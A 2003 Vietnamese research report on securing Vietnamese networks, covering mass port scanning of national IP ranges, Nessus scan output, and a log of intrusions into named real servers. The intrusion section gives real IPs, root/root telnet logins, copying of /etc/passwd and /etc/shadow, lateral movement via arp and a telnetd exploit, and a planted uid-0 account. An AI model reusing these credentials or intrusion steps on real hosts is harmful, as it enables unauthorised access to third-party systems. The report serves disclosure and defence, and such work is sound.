HỖ TRỢ BẢO MẬT HỆ THỐNG THÔNG TIN CHO CÁC MẠNG TIN HỌC VIỆT NAM

Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
1

THÀNH PHỐ HỒ CHÍ MINH
Tháng 12 năm 2003









ĐỀ TÀI NGHIÊN CỨU ỨNG DỤNG

HỖ TRỢ BẢO MẬT HỆ THỐNG THÔNG TIN
CHO CÁC MẠNG TIN HỌC VIỆT NAM


Báo cáo tổng quan







Chủ nhiệm đề tài:
Trịnh Ngọc Minh

Cơ quan quản lý:
Sở Khoa học và Công nghệ

Cơ quan chủ trì:
Trung tâm Phát triển Công nghệ thông tin – ĐHQG-HCM
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
2
BÁO CÁO TỔNG KẾT ĐỀ TÀI NGHIÊN CỨU
“HỖ TRỢ BẢO MẬT HỆ THỐNG THÔNG TIN
CHO CÁC MẠNG TIN HỌC VIỆT NAM”

Thành phố Hồ Chí Minh ngày 9/12/2003


Thực hiện đề tài

KS Phạm Hòang Bảo SaigonCTT
CN Ngô Thư Chí Sao Bắc Đẩu
KS Nguyễn Như Hảo ĐHQG-HCM
CN Trương Thế Khôi SaigonCTT
TS Trịnh Ngọc Minh ĐHQG-HCM
CN Võ Hồng Minh Saigonctt
CN Thái Nguyễn Hòang Nhã Cisco Việt nam
CN Lê Minh Quốc SaigonCTT
CN Nguyễn Hòang Sang SaigonCTT

CN Nguyễn Kim Trang SaigonCTT
SV Nguyễn Anh Tú SaigonCTT
CN Đỗ Mạnh Tiến SaigonCTT
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
3

1 Hòan cảnh hình thành đề tài
Cuối năm 1999, web site của ĐHQG-HCM bị cracker từ nước ngòai thay đổi bằng một
nội dung phản động ! Đây là hồi chng cảnh báo đầu tiên về khả năng bị tấn cơng từ
ngòai vào mạng ĐHQG-HCM và giúp chúng ta cảnh tỉnh về trình độ còn rất non yếu của
nhóm quản trị mạng ĐHQG-HCM về vấn để bảo mật hệ thống.
Sớm nắm được mối hiểm nguy khi kết nối vào Internet và nhận thấy sự cần thiết phải
nâng cao trình độ của cán bộ quản trị mạng, Lãnh đạo ĐHQG-HCM đã phê duyệt đề tài
nghiên cứu trọng điểm cấp ĐHQG về “An tòan và bảo mật hệ thống thơng tin”. Nội dung
chính của đề tài là tìm hiểu các phương thức xâm nhập hệ thống của các hacker/cracker
nhằm nâng cao trình độ quản trị mạng và tăng cường khả năng bảo mật cho các máy chủ.
Đề tài đã được triển khai trong hơn một năm và được nghiệm thu cuối năm 2001 với
kết quả tốt. Nội dung chính của đề tài là tìm hiểu các phương thức xâm nhập một hệ
thống tin học và đề ra một số phương pháp phòng chống như qui trình xây dựng máy
chủ an toàn, một số phương pháp phát hiện backdoor …
Đề tài của ĐHQG chính là bước chuẩn bò kỹ thuật cho phép triển khai đề tài đang được
đề cập. Với những kiến thức, kỹ năng về tìm hiểu các sơ hở của hệ thống tích lũy từ đề
tài của ĐHQG-HCM, chúng ta có thể tìm ra các sơ hở của các mạng tin học thông qua
Internet, cảnh báo các nhà quản trò mạng thông qua các thông tin “nặng ký” như thông
báo sơ hở với những bằng chứng như password của admin, thông tin tài khoản cá nhân,
khả năng thay đổi nội dung Website …

Tự biết mạng tin học của mình sơ hở và tự sửa chữa là một điều rất khó khăn. Với hơn
một năm nghiên cứu vấn đề bảo mật hệ thống của một số mạng tin học của Việt nam,
kể cả các mạng ISP chuyên nghiệp như VDC, FPT, SaigonNet, Netnam … chúng tôi

nhận thấy hệ thống mạng của chúng ta còn nhiều sơ hở. Tuy nhiên biết được hệ thống
mạng của mình bò tấn công hoặc đã bò xâm nhập là một vấn đề khó khăn, thậm trí
nhiều khi rất khó khăn. Có hai nguyên nhân chính gây nên khó khăn trên. Trước tiên
là vấn đề kỹ thuật, các xâm nhập rất đa dạng, phong phú và thay đổi nhanh do tiến bộ
không ngừng của kỹ thuật. Sau đó là trình độ kỹ thuật, ý thức về nguy cơ của cán bộ
quản trò hệ thống đa phần còn thấp. Cũng phải nhận thấy rằng bảo đảm một hệ thống
phức tạp, nhiều dữ liệu quan trọng là một công tác mệt nhọc và khó khăn. Người quản
trò phải đọc nhiều thông tin thông qua các tập tin log, kiểm tra tính toàn vẹn các tiện
ích quan trọng, theo dõi thông tin trên Internet, tham gia các forum về security và xử
lý các thông tin, thường xuyên nâng cấp các phần mềm vá lỗ thủng bảo mật, lưu trữ
(backup) một cách hệ thống… Công cụ hỗ trợ thực sự là cần thiết đối với công tác này.

Cần thiết có sự hỗ trợ hoàn toàn miễn phí và hiệu quả của Nhà nước đối với các mạng
tin học công cũng như tư nhân. Hiện tại chúng ta cũng đã có một số trung tâm hoạt
động trong lónh vực này như VISC, trung tâm bảo mật hệ thống Đại học Bách khoa Hà
nội... Tuy nhiên thực tế cho thấy ít đơn vò nào tự bỏ ra chi phí để “nhờ” đơn vò ngoài
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
4
xem lại hệ thống mạng của mình khi chứa thấy hoặc không biết mạng của mình bò tấn
công. Vì vậy sự hỗ trợ miễn phí để cảnh báo các mạng tin học và trợ giúp quyết đònh
đầu tư sâu hơn là thực sự cần thiết. Đầu tư giúp các đơn vò tìm ra điểm yếu của mình
là hỗ trợ thiết thực cho phát triển ngành CNTT của nước ta.

Những nhà quản trò mạng cần có công cụ hỗ trợ hiệu quả cho phép phát hiện các xâm
nhập hoặc ý đònh xâm nhập từ ngoài. Như đã đề cập ở trên, phát hiện xâm nhập là một
bài toán khó và chúng ta cần có những công cụ mạnh như hệ thống phát hiện xâm
nhập Intrusion Detection System (IDS). Thực ra đây là họ gồm nhiều các công cụ phần
cứng và phần mềm khác nhau. Nhóm nghiên cứu đã tìm hiểu tài liệu, triển khai thử
nghiệm, so sánh tính năng các hệ thống khác nhau và đưa ra các khuyến cáo là cần
thiết.

2 Mục tiêu của đề tài
Với các phân tích như ở trên, mục tiêu chính của đề tài nhằm vào các vấn đề sau:
a/ Tìm ra các sơ sở của các mạng với kết nối trực tiếp Internet của Việt nam
b/ Thông báo cho các mạng tin học có sơ hở lỗi cùng với các minh chứng. Cung cấp
các phương thức sửa chữa như download giúp các phần mềm vá lỗi, hoặc chỉ dẫn các
cấu hình sửa chữa. Kiểm tra lỗi sau khi đã sửa chữa.
c/ Xây dựng website với mức độ bảo mật cao. Công bố mô hình Website và phương
thức xây dựng cho phép các đơn vò được triển khai miễn phí
d/ Nghiên cứu so sánh các công nghệ IDS cứng và mềm. Đưa ra các khuyến cáo.

3 Các nội dung chính của đề tài
a/ Khảo sát hiện trạng.
Phần khảo sát hiện trạng sẽ gồm 2 phần.
Phần 1: Thu thập thông tin về tất cả các mạng tin học của Việt nam. Mạng tin học Việt
nam là những mạng tin học mà điểm kết nối của nó nằm sau các cổng gateway của
Việt nam. Nói một cách kỹ thuật, đó là những mạng sử dụng hệ thống đòa chỉ IP của
Internic cấp phát cho Việt nam. Do đó, những mạng tin học có tên miền không kết
thúc bằng .vn những được truy cập thông qua các IP của Việtnam sẽ là các đối tượng
nghiên cứu.
Các thông tin thu thập sẽ bao gồm danh sách các dòch vụ mà mạng đó cung cấp ra
ngoài, các đặc điểm chuyên biệt của các dòch vụ, hệ thống máy chủ và các phần mềm
tương ứng, các thiết bò mạng, đặc biệt là các thiết bò liên qua tới bảo mật.
Các thông tin này sẽ được thu thập từ nhiều nguồn khác nhau như dùng công cụ khảo
sát mạng, tra thông tin DNS, tra thông tin trên trang Web …

Phần 2: Thu thập thông tin về các sơ hở của mạng cùng các kỹ thuật xâm nhập mới.
Nhóm nghiên cứu cần được cập nhật các kiến thức về các phiên bản hệ điều hành mới
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
5
như Solaris 9, RedHat Linux 8, Windows Xp … cùng với các thông tin liên quan tới các

sơ hở mới được phát hiện. Các kỹ thuật xâm nhập quan trọng cần được triển khai thử
nghiệm tại các mạng tin học mà nhóm nghiên cứu đang làm việc để có thể nắm vững
các kỹ thuật này. Các phiên bản mới của hệ điều hành, của trình dòch vụ … cần được
cài đặt cho công tác thử nghiệm. Ngoài ra, nhóm nghiên cứu cần phân công nhau đăng
ký vào các forum chuyên ngành, xử lý thông tin trên đó và tìm ra những thông tin mới
nhất.

b/ Xây dựng Web site.
Xây dựng một Website chuyên biệt để phục vụ đề tài. Các kiến thức, công nghệ mới
nhất về bảo mật một website sẽ được triển khai. Hệ thống cổng thông tin iPortal,
phương thực xác thực LDAP, Radius, phương thức kết nối an toàn giữa máy chủ dữ
liệu và máy chủ Web, các tiện ích phát hiện xâm nhập … sẽ được triển khai để có được
một Web site an toàn nhất. Website này sẽ là đối tượng đầu tiên và quan trọng nhất
của nhóm nghiên cứu tấn công thử nghiệm. Ngoài ra, nhóm nghiên cứu sẽ mời rộng rãi
những người quan tâm tới bảo vệ hệ thống tin học tấn công thử nghiệm Website này.

c/ Nghiên cứu và triển khai thử nghiệm IDS
Hai công nghệ đã được nhóm đề tài nghiên cứu là thiết bò IDS của hãng Cisco và phần
mềm snort trên hệ điều hành Linux hoặc Sun Solaris. Các thiết bò/phần mềm này đã
được triển khai trong cùng một hệ thống mạng với Website bugsearch của đề tài nhằm
xem xét khả năng phát hiện xâm nhập thực tế cũng như xâm nhập thử nghiệm của bản
thân nhóm đề tài. Trong quá trình triển khai trên thực tế, nhóm dự án đã xem xét thêm
Internet Security System – ISS. Đây là một sản phẩm IDS rất mạnh, đầy đủ của hãng
Nokia, đã được bưu điện Hà nội và bưu điện Tp HCM triển khai cho 2 Trung tâm cung
cấp dòch vụ Internet mới của mình.

d/ Dò tìm sơ hở mạng
Sau khi thực hiện thu thập thông tin thông qua khảo sát hiện trạng, nhóm nghiên cứu
đã triển khai công tác dò tìm các sơ hở.
Công tác tìm sơ hở phải thỏa mãn các tiêu chí sau:

• Không được gây bất cứ một sự rối loạn nào, dù nhỏ, trong hoật động bình
thường của mạng.
• Không được lấy, sử dụng bất kỳ bất kỳ dữ liệu nào của mạng nghiên cứu
• Các bằng chứng về sơ hở có tính thuyết phục cao, đặc biệt có tính nghiêm trọng
của hậu quả nếu bò xâm nhập cho phép phụ trách kỹ thuật của các hệ thống
mạng có thể thuyết phục lãnh đạo về các đầu tư nhằm tăng cường an ninh của
mạng tin học của mình.
• Trong trường hợp mạng đã có sơ hở, tìm kiếm các backdoor có thể có do các
cracker đã làm trước đó. Đây là một nội dung có tầm quan trọng đặc biệt vì nếu
mạng đã có sơ hở thì với xác suất cao là mạng đã bò xâm nhập và bò cài
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
6
backdoor. Các backdoor đó có thể được che dấu tính vi và thực sự nguy hiểm
nếu không phát hiện được chúng. Với nhiều hệ thống, một khi một máy có
backdoor thì tất cả các thiết bò, phần mềm bảo mật đắt tiền khác của hệ thống
sẽ bò vô hiệu hóa.

e/ Nghiên cứu các phương pháp bảo vệ và đánh giá hiệu quả.
Sau khi phát hiện các sơ hở, đánh giá mức độ nguy hiểm của từng sơ hở, nhóm nghiên
cứu sẽ xem xét các phương thức bảo vệ. Các giải pháp bảo vệ khác phục sơ hở sẽ được
thông báo chi tiết tới các mạng tin học có vấn đề. Trong khả năng cho phép, nhóm
nghiên cứu sẽ tải về và chuyển giao các phần mềm cần thiết cho đối tượng nghiên cứu
cùng với các khuyến cáo.

f/ Đào tạo và chuyển giao công nghệ.
Nhóm nghiên cứu sẽ tổ chức một một hội thảo rộng rãi cho khoảng 50 lãnh đạo và
chuyên viên IT và một lớp tập huấn cho 20 quản trò viên mạng tin học, đặc biệt là cho
các công ty đã phối hợp chặt chẽ với nhóm nghiên cứu, nhằm nâng cao trình độ bảo vệ
hệ thống của các cán bộ quản trò mạng. Chi phí của các hoạt động này đã được dự trù
trong kinh phí của đề tài.

4 Các kết quả nghiên cứu đạt được
4.1 Khảo sát hệ thống địa chỉ IP cùng tên miền của các máy tính
nối mạng Internet của Việt nam
4.1.1 Phương pháp khảo sát
Lấy danh sách các tên miền của Việt nam. Hiện nay, các máy chủ tên miền của
Việt nam khơng cho phép thực hiện chức năng list cho phép xem các record của
tên miền. Vì vậy, nhóm triển khai phải sử dụng các nguồn thơng tin thu thập từ
nhiều nguồn khác nhau và được một danh sách như trong bảng sau.

Phương pháp tiếp theo để thu thập các địa chỉ IP của Việt nam là thơng qua các
thơng tin của Internic về các AS đã phân bổ cho Việt nam. Sử dụng thơng tin
này, chúng ta có được thơng tin chính xác về các địa chỉ IP của Việt nam, nhưng
sử dụng các địa chỉ này gặp khó khăn lớn là có rất nhiều địa chỉ chưa sử dụng
và việc qt hết danh sách này tốn rất nhiều thời gian và đường truyền. Thêm
nữa đa phần các địa chỉ IP của chúng ta khơng có phân giải ngược IP về tên
miền nên nhiều khi nhóm dự án phát hiện sơ hở của máy chủ nhưng khơng xác
định được máy chủ thuộc đơn vị/cơng ty nào.
Nhóm dự án xây dựng một chương trình ngắn để phân giải ngược tự động các
địa chỉ IP của Việt nam.
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
7
4.1.2 Kết quả thực hiện được

• Xác định rõ các địa chỉ IP của các mạng tin học Việt nam
• Tổ chức “quét” (scan) số lượng lớn các địa chỉ IP của Việt nam nhằm tìm ra
các sơ hở dựa trên các lỗi đã được công bố trên Internet. Đặc biệt, chúng tôi
có quan tâm đặc biệt tới các địa chỉ của các mạng quan trọng như Webcity,
VDC, SaigonNet, Netnam …
Các kết quả trên được trình bày cụ thể trong các phần sau.

4.2 Tìm hiểu các dịch vụ triển khai trên các máy chủ của các
mạng tin học Việt nam,
Cơ sở dữ liệu các địa chỉ IP cùng với các thông tin về dịch vụ đang mở trên từng IP là rất
quan trọng, cho phép chúng ta nhanh chóng xác định khả năng bị xâm nhập đối với một
máy tính. Giả sử ta có được thông tin từ Internet về một kiểu sơ hở, ta có thể tìm trong cơ
sở dữ liệu này địa chỉ IP có sơ hở tương ứng và nhanh chóng tiến hành xâm nhập thử
nghiệm xem có thể hiện thực hóa xâm nhập được hay không.
Theo thông tin từ APNIC, tổ chức quản lý Internet tại châu Á, Việt nam chúng ta có 3
vùng AS (Autonomous System) ( và khỏang 83456 IP





Việc “quét” tòan bộ tất cả các IP trên là một công việc lớn và làm ảnh hưởng nhiều tới
mạng của máy đi quét cũng như máy bị quét. Nhóm nghiên cứu đã phải tực hiện chủ yếu
các thao tác này vào nghỉ cuối tuần và ban đêm. Chiến lược “quét” của chúng tôi là dò
tìm tất cả các port trên một số mạng quan trọng, các IP quen biết và dò tìm một số cổng
dịch vụ phổ biến cho các IP khác.
Cụ thể là công tác dò tìm các port cơ bản được thực hiện cho
 203.113.128.0 (8192)
 203.160.0.0 (512)
 203.161.0.0 (1024)
 203.162.0.0 (4096)
apnic

VN

asn

18403 1 20030103

allocated
apnic

VN

asn

7552 1 20021008

allocated
apnic

VN

asn

7643 1 19971014

allocated
apnic

VN

ipv4

203.113.128.0 8192 20020904

allocated

apnic

VN

ipv4

203.160.0.0 512 19940923

assigned
apnic

VN

ipv4

203.161.0.0 1024 19950308

allocated
apnic

VN

ipv4

203.162.0.0 2048 19950809

allocated
apnic

VN

ipv4

203.162.128.0 4096 20010718

allocated
apnic

VN

ipv4

203.162.144.0 4096 20021105

allocated
apnic

VN

ipv4

203.162.16.0 4096 19981123

allocated
apnic

VN

ipv4

203.162.160.0 8192 20021105

allocated
apnic

VN

ipv4

203.162.32.0 8192 19981123

allocated
apnic

VN

ipv4

203.162.64.0 16384 20010718

allocated
apnic

VN

ipv4

203.162.8.0 2048 19981102

allocated

apnic

VN

ipv4

203.210.128.0 16384 20021105

allocated
apnic

VN

ipv4

210.245.0.0 8192 20020806

allocated
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
8
 203.162.16.0 (12288)
 203.162.64.0 (32768)
 203.210.128.0 (16384)
 210.245.0.0 (8192)
Tỷ lệ IP đã scan được khỏang 80 % của tòan bộ vùng IP trên.

Dò tìm rộng các port từ 1 đến 65535 cho các vùng IP
 203.162.0.0(4096)
 203.162.17.0/24
 203.162.53.0/24

 203.162.57.0/24
 203.162.97.0/24
 203.113.131.0/24
Tỉ lệ IP đã scan của vùng này 11.35%

Cùng với dò tìm các sơ hở một cách đại trà trên mạng, nhòm nghiên cứu cũng đã thực
hiện việc phân giải tên của các IP để biết chủ sở hữu của các IP. Với một phần mềm nhỏ,
nhóm nghiên cứu đã thử cho tất cả các địa chỉ IP nhưng chi phân giải được 783 địa chỉ,
chiếm 0,94 %. Nguyên nhân của kết quả này là rất nhiều địa chỉ IP chưa sử dụng, địa chỉ
IP dùng cho kết nối động qua dial-up, ADSL; IP dùng cho kết nối routers; và rất nhiều
tên miền không có phân giải ngược IP-> tên trong Cơ sở dữ liệu DNS. Phụ lục B sao
trính một phần các địa chỉ IP có tên miền tương ứng.

Các tiện ích được sử dụng để tiến hành thăm dò các dịch vụ đang họat động trên một
máy chủ là

• Trên Windows: SuperScan (thích hợp khi cần scan nhanh)
• Trên Unix: nmap, nessus

Kết quả thăm dò các mạng khá dài (trên 2000 trang), do đó nhóm đề tài chỉ xin trích đoạn
một số kết quả làm ví dụ:

203.113.142.14
Service Severity Description
telnet (23/tcp) Info Port is open
general/udp Low For your information, here is the traceroute to 203.113.142.14 :
192.168.20.2
192.168.20.2
192.168.20.2
203.113.142.14

telnet (23/tcp) Low An unknown service is running on this port.
It is usually reserved for Telnet
telnet (23/tcp) Low Remote telnet banner :
User Access Verification
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
9
Password:
general/tcp Low The remote host uses non-random IP IDs, that is, it is possible to
predict the next value of the ip_id field of the ip packets sent by this host.
An attacker may use this feature to determine if the remote host sent a packet in reply
to another request. This may be used for portscanning and other things.
Solution : Contact your vendor for a patch
Risk factor : Low
general/tcp Low The remote host does not discard TCP SYN packets which have the
FIN flag set.
Depending on the kind of firewall you are using, an attacker may use this flaw to
bypass its rules.
See also :


Solution : Contact your vendor for a patch
Risk factor : Medium
BID : 7487
general/tcp Low Remote OS guess : Cisco 801/1720 running 12.2.8
CVE : CAN-1999-0454
telnet (23/tcp) Low The Telnet service is running.
This service is dangerous in the sense that it is not ciphered - that is, everyone can
sniff the data that passes between the telnet client and the telnet server. This includes
logins and passwords. You should disable this service and use OpenSSH instead.
(www.openssh.com)

Solution : Comment out the 'telnet' line in /etc/inetd.conf.
Risk factor : Low
Page 7
Network Vulnerability Assessment Report 05.08.2003
CVE : CAN-1999-0619
203.113.142.2
Service Severity Description
telnet (23/tcp) Info Port is open
telnet (23/tcp) Low The Telnet service is running.
This service is dangerous in the sense that it is not ciphered - that is, everyone can
sniff the data that passes between the telnet client and the telnet server. This includes
logins and passwords.
You should disable this service and use OpenSSH instead. (www.openssh.com)
Solution : Comment out the 'telnet' line in /etc/inetd.conf.
Risk factor : Low
CVE : CAN-1999-0619
general/tcp Low The remote host does not discard TCP SYN packets which
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
10
have the FIN flag set. Depending on the kind of firewall you are using, an
attacker may use this flaw to bypass its rules.
See also :


Solution : Contact your vendor for a patch
Risk factor : Medium
BID : 7487
general/udp Low For your information, here is the traceroute to 203.113.142.2 :
192.168.20.2
192.168.20.2

192.168.20.2
192.168.20.2
?
192.168.20.2
192.168.20.2
192.168.20.2
203.113.142.2
general/tcp Low The remote host uses non-random IP IDs, that is, it is possible to
predict the next value of the ip_id field of the ip packets sent by this host.
Page 8
Network Vulnerability Assessment Report 05.08.2003
An attacker may use this feature to determine if the remote host sent a packet in reply
to another request. This may be used for portscanning and other things.
Solution : Contact your vendor for a patch
Risk factor : Low
general/tcp Low Remote OS guess : Cisco X.25/TCP/LAT Protocol Translator ver
8.2(4)
CVE : CAN-1999-0454

203.113.142.30
Service Severity Description
telnet (23/tcp) Info Port is open telnet (23/tcp) Low The Telnet service is running.
This service is dangerous in the sense that it is not ciphered - that is, everyone can
sniff the data that passes between the telnet client and the telnet server. This includes
logins and passwords.
You should disable this service and use OpenSSH instead.
(www.openssh.com)
Solution : Comment out the 'telnet' line in /etc/inetd.conf.
Risk factor : Low
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam

11
CVE : CAN-1999-0619
general/tcp Low The remote host uses non-random IP IDs, that is, it is possible to
predict the next value of the ip_id field of the ip packets sent by this host.
An attacker may use this feature to determine if the remote host sent a packet in reply
to another request. This may be used for portscanning and other things.
Solution : Contact your vendor for a patch
Risk factor : Low
general/udp Low For your information, here is the traceroute to 203.113.142.30 :
192.168.20.2
192.168.20.2
203.113.142.30
telnet (23/tcp) Low A telnet server seems to be running on this port
general/tcp Low Remote OS guess : Cisco 3600 running IOS 12.2(6c)
CVE : CAN-1999-0454
Page 10
Network Vulnerability Assessment Report 05.08.2003
telnet (23/tcp) Low Remote telnet banner :
User Access Verification
Username:
general/tcp Low The remote host does not discard TCP SYN packets which have the
FIN flag set. Depending on the kind of firewall you are using, an
attacker may use this flaw to bypass its rules.
See also :


Solution : Contact your vendor for a patch
Risk factor : Medium
BID : 7487

(Ngắt trích đọan ở đây …)

4.3 Các sai sót tìm thấy và có thể bị khai thác tại mạng tin học
Việt nam

Sau khi “quét” một cách hệ thống các địa chỉ IP của Việt nam và biết được các dịch vụ
mà các máy tính đang sử dụng, nhóm đề tài lựa chọn và xâm nhập thử nghiệm các máy
tính này. Kết quả thử nghiệm được trình bày ở phần sau. Với mỗi máy bị xâm nhập,
chúng tôi cố gắng xác định chủ nhân của máy, miêu tả hệ điều hành, các lỗi mà qua đó ta
có thể xâm nhập hệ thống và một số sao chép từ màn hình minh họa cho xâm nhập thành
công của nhóm đề tài. Các màn hình minh học dạng copy màn hình khôg được in ở đây
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
12
vì quá dài. Nhóm dự án sẽ kèm theo những tập tin trên đĩa CDROM để minh họa khi cần
thiết.
Các thông tin liên quan tới sơ hở, đọan chương trình cho phép khai thác sơ hở (exploit
code) được nhóm nghiên cứu tra cứu chủ yếu ở các website sau :

1) 203.162.57.227 (Suntest.vnnic.net)
a. Hệ điều hành: Solaris 8
b. Hostname: Suntest
c. Lỗi remote:
i. Telnetd exploit trên Solaris cho các version 2.6, 2.7, 2.8
ii. Exploit code đã được công bố trên internet khá lâu
iii. Dùng exploit code trên máy Linux từ xa có thể chiếm được shell với quyền của user
bin

d. Lỗi local
i. priocntl exploit trên Solaris với cấu trúc lệnh 64 bit
ii. Lỗi này cũng đã được thông báo trên internet
iii. Khai thác thành công đem lại root shell
iv. Kết quả:
1. tạo file /etc/.bugsearch
2. copy file /etc/passwd, /etc/shadow
( Exploit code, /etc/passwd,/etc/shadow và màn hình copy đính kèm ).

2) 203.162.53.51 ( Stelecom)
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam

13
a. Hệ điều hành: Solaris 6.0
b. Hostname: hrl (local hostname), local IP

# /usr/sbin/ifconfig -a
lo0: flags=849<UP,LOOPBACK,RUNNING,MULTICAST> mtu 8232
inet 127.0.0.1 netmask ff000000
pnet0: flags=863<UP,BROADCAST,NOTRAILERS,RUNNING,MULTICAST> mtu
1500
inet 10.1.11.11 netmask ffffff00 broadcast 10.1.11.255
ether 8:0:20:a5:d7:82
pnet1: flags=863<UP,BROADCAST,NOTRAILERS,RUNNING,MULTICAST> mtu
1500
inet 10.1.11.14 netmask ffffff00 broadcast 10.1.11.255
ether 8:0:20:a5:d7:83

c. Lỗi remote: Telnetd, mật khẩu yếu
- Xâm nhập thành công qua 2 user: hrl và oms, user root không login từ xa được.
- Có thể khai thác lỗi của telnetd và chiếm được remote shell dưới quyền user bin

d. Lỗi local
- Thử su và dò thành công password root
- Có thể khai thác lỗi local xlock overflow

e. Các server lân cận bị khai thác
i. oms1.lgic.co.kr (10.1.11.12)
1. hostname: oms1
2. local IP: 10.1.11.12
3. hệ điều hành: Solaris 7

oms1# /usr/sbin/ifconfig -a
lo0: flags=849<UP,LOOPBACK,RUNNING,MULTICAST> mtu 8232
inet 127.0.0.1 netmask ff000000
hme0: flags=863<UP,BROADCAST,NOTRAILERS,RUNNING,MULTICAST>
mtu 1500
inet 10.1.11.12 netmask ffff0000 broadcast 10.1.255.255
ether 0:3:ba:9:3a:a2
oms1#

Từ máy hrl chỉ cần telnet sang máy oms1 với user root, passwd root:

# telnet oms1.lgic.co.kr
Trying 10.1.11.12...
Connected to oms1.lgic.co.kr.
Escape character is '^]'.

Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
14
SunOS 5.7
welcome to oms1
don't work other jobs
login: root
Password:
Sun Microsystems Inc. SunOS 5.7 Generic October 1998
You have new mail.
oms1# w
1:15pm up 103 day(s), 2:48, 2 users, load average: 0.02, 0.02, 0.02
User tty login@ idle JCPU PCPU what
oms console 20Jun03103days /usr/dt/bin/sdt_shell -c unseten
oms pts/3 16Sep0315days /bin/csh

oms pts/7 Sun 7pm 27:55 telnet hlr
oms pts/8 9:42am 3:14 telnet hlr
root pts/9 1:15pm w
oms1#

ii. oms2.lgic.co.kr (10.1.11.13)
1. hệ điều hành: Solaris 7
2. Local IP: 10.1.11.13
Từ máy hrl hay oms1 chỉ cần telnet đến oms2 với user root, passwd root là ta có được
quyền admin trên máy này.

iii. IWM (10.2.105.21)
1. local hostname: IWM
2. Local IP: 10.2.105.21
3. Hệ điều hành: Solaris 6
4. Lỗi remote: telnetd
Từ máy oms2 dùng lệnh arp –a để tìm các máy lân cận, ta thấy có máy IWM, thử
telnet với các user trên các máy đã xâm nhập được và các passwd đơn giản nhưng
không thành công.
Lấy file binary dùng để khai thác lỗi telnetd từ máy của ta vào máy hrl ( vì không
biên dịch được trên các server này).
Từ shell ta thực thi file này và chiếm được user bin trên máy IWM.
5. Lỗi local
- Khai thác lỗi xlock giống như máy hrl nhưng không thành công.
- Với quyền của user bin có thể xem được file /etc/passwd. Ta thấy trong máy này
không có nhiều user, chỉ có user common là có thể tận dụng được, thử su từ bin sang
common và dò password nhưng không thành công.
- Thoát khỏi IWM và quay lại hrl, thực hiện lại file khai thác lỗi telnetd với user là
common, thành công, ta có được shell với quyền của user common. Thử lệnh su ta
được ngay quyền root mà không cần passwprd.

3) 203.162.53.52 ( Stelecom)
a. Hệ điều hành: Solaris 7
b. Hostname: ho_eipa
Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
15
c. Local IP: 10.1.120.11 - 10.1.110.21

d. Lỗi remote: Telnetd với password đơn giản
Có thể telnet vào máy này bằng user root và password root.

[root@bugsearch hao]# telnet 203.162.53.52
Trying 203.162.53.52...
Connected to 203.162.53.52 (203.162.53.52).
Escape character is '^]'
SunOS 5.7
+====================================================+
+==== ====+
+==== WELCOME to Hochiminh eip_A ====+
+==== ====+
+====================================================+

login: root
Password:
Last login: Mon Sep 29 13:47:47 from hanoi_eipa
Sun Microsystems Inc. SunOS 5.7 Generic October 1998
You have mail.
ho_eipa# w
1:59pm up 77 day(s), 13:43, 8 users, load average: 0.04, 0.04,
0.04

User tty login@ idle JCPU PCPU what
eip pts/0 10:14am 3:00 -csh
eip pts/3 31Jul03 rmh -c 1
eip pts/2 7:59pm rmh -c 1
eip pts/4 8:02am rmh -c 1
eip pts/5 4:44am 8:43 1 1 vi
AlarmMessage.2003-10-01
eip pts/6 8:39am 5:18 vi
AlarmMessage.2003-09-30
eip pts/7 8:42am 5:04 vi
AlarmMessage.2003-10-01
root pts/8 1:59pm w
ho_eipa#

e. Lỗi local
Vì quyền root đã chiếm được nên không cần xét đến các lỗi local khác.
Ta xem qua file /etc/passwd, có thể server này đã bị tạo user có quyền tương đương
root

ho_eipa# more /etc/passwd
root:x:0:1:Super-User:/:/bin/csh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
cachep01:x:0:1::/:/bin/csh
listen:x:37:4:Network Admin:/usr/net/nls:

Đề tài khoa học Hỗ trợ bảo mật các hệ thống tin học Việt nam
16
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
nomd:x:1000:1000:EIP User:/home/nomd:/bin/csh
eip:x:1001:1000:EIP Admin:/home/eip:/bin/csh
nms:x:2000:1000:NMS BunDang:/home/nms:/bin/csh
same::0:1:Super-User:/:/bin/csh
-----------------------------------------------------------------
user same có uid=0, gid=1 có quyền tương đương root.

f. Các server lân cận bị khai thác
Dùng lệnh arp –a trên server vừa vào được ta thấy kết quả sau:
ho_eipa# arp -a
Net to Media Table
Device IP Address Mask Flags Phys Addr
------ -------------------- --------------- ----- ---------------
hme0 10.1.120.1 255.255.255.255 00:00:0c:07:ac:78
hme0 ho_eipb 255.255.255.255 08:00:20:fa:6c:c6
hme1 ho_eipaa 255.255.255.255 SP 08:00:20:fa:47:da
hme0 ho_eipa 255.255.255.255 SP 08:00:20:fa:47:da
hme1 224.0.0.0 240.0.0.0 SM 01:00:5e:00:00:00
hme0 224.0.0.0 240.0.0.0 SM 01:00:5e:00:00:00
ho_eipa#
Ta thấy có các host sau 10.1.120.1, ho_eipb, ho_eipaa (chính là
ho_eipa vì cùng MAC address)
thử telnet 10.1.120.1 ta thấy đây là Switch, ho_eipb là 1 máy Sun.

i. ho_eipb

1. hệ điều hành: Solaris 7
2. hostname: ho_eipb
3. Remote exploit: password đơn giản, user root, password root
ii. ha_eipa
1. hệ điều hành: Solaris 7
